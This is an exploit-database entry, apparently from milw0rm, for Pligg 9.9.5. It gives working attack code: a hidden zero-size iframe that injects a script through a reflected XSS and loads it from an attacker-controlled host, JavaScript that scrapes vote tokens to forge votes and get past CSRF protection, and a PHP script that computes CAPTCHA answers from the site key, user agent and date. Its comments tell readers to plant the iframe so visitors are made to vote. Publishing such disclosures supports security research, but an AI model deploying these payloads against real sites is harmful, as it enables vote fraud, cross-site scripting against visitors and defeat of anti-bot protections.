Pligg 9.9.5 - CSRF Protection Bypass and Captcha Bypass



EDB-ID: 7922 CVE: N/A OSVDB-ID: N/A
Author: Michael Brooks Published: 2009-01-29 Verified: Verified
Exploit Code:   Download Vulnerable App:   N/A

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Written By Michael Brooks
Special thanks to str0ke!

Pligg - XSRF Protection Bypass and Captcha Bypass
affects 9.9.5

XSRF Protection Bypass
<html>
<!--
Remove this iframe from this file and place it on a site that you want
to force people to vote for.
Change these pligg_story_to_vote_for, target_pligg_site and site_you_control .
-->
<iframe src='http://target_pligg_site/index.php?category="><script
src=http://site_you_control/pligg_auto_voter.html
type=text/javascript></script>' width="0%" height="0%"></iframe>
</html>

	var pligg_story_to_vote_for="/story.php?title=pligg_xss";
	
	function r(){
		var Z=false;
		if(window.XMLHttpRequest){
			try{
				Z=new XMLHttpRequest()
			}catch(e){Z=false}
		}else if(window.ActiveXObject){
			try{
				Z=new ActiveXObject('Msxml2.XMLHTTP')
			}catch(e){
				try{
					Z=new ActiveXObject('Microsoft.XMLHTTP')
				}catch(e){Z=false}
			}
		}
		return Z
	}
	var x=r();
	x.open("GET",pligg_story_to_vote_for,true);
	x.onreadystatechange = function() {
		if (x.readyState == 4) {
			var v=x.responseText.split("javascript:vote(");
			v=v[1].split(")");
			v=v[0].split(",");
			var p="id="+v[1]+"&user="+v[0]+"&md5="+v[3].substring(1,33)+"&value="+v[4];
			var y=r();
			y.open("POST","/vote.php",true);
			y.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
			y.setRequestHeader("Content-length", p.length);
			y.setRequestHeader("Connection", "close");
			y.send(p);
		}
	}
	x.send('');

Captcha bypass.
The link to the capthca image will look something like this:

http://127.0.0.1/Pligg_Beta_9.9.0/ts_image.php?ts_random=54771854

To obtain the clear text, send that ts_random value to the
captcha_bypass.php with the same web browser:


http://127.0.0.1/captcha_bypass.php?ts_random=54771854

captcha_bypass.php:

<?php

$sitekey=82397834;

$ts_random=$_REQUEST['ts_random'];

$datekey = date("F j");

$rcode = hexdec(md5($_SERVER['HTTP_USER_AGENT'] . $sitekey .
$ts_random . $datekey));

print substr($rcode, 2, 6);

?>

# milw0rm.com [2009-01-29]